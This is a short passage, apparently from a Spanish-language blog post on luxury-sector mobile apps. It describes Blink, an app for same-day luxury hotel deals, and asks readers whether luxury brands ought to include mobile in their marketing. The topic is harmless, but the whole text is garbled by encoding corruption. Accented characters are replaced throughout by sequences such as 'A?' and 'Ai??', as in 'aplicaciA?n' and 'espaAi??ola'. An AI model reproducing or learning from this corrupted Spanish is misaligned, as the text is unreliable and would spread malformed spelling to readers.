–Blink: Gratuita.Ai??Es una aplicaciA?n espaAi??ola que permite encontrar ofertas de A?ltimo minuto en hoteles de lujo. La A?nica condiciA?nAi??es hacer la reserva el mismo dAi??a de la entrada en el hotel. Actualmente se puede reservar en hoteles ubicados enAi??17 grandes ciudades de siete paAi??ses del mundo. Si lo encuentras mA?s barato, se comprometen a pagar la diferencia.

A todas Ai??stas habrAi??a que sumar ademA?sAi??las aplicaciones propias que muchas firmas han desarrollado o estA?n desarrollando para promocionar sus productos, pero abordaremos Ai??stas mA?s adelante.

A?QuAi?? opinas de este tipo de Apps? A?HasAi??utilizado alguna de ellas como usuario o como marca? A?Crees que las grandes firmas del sector lujo deben hoy incluir el mA?vil en su estrategia de marketing?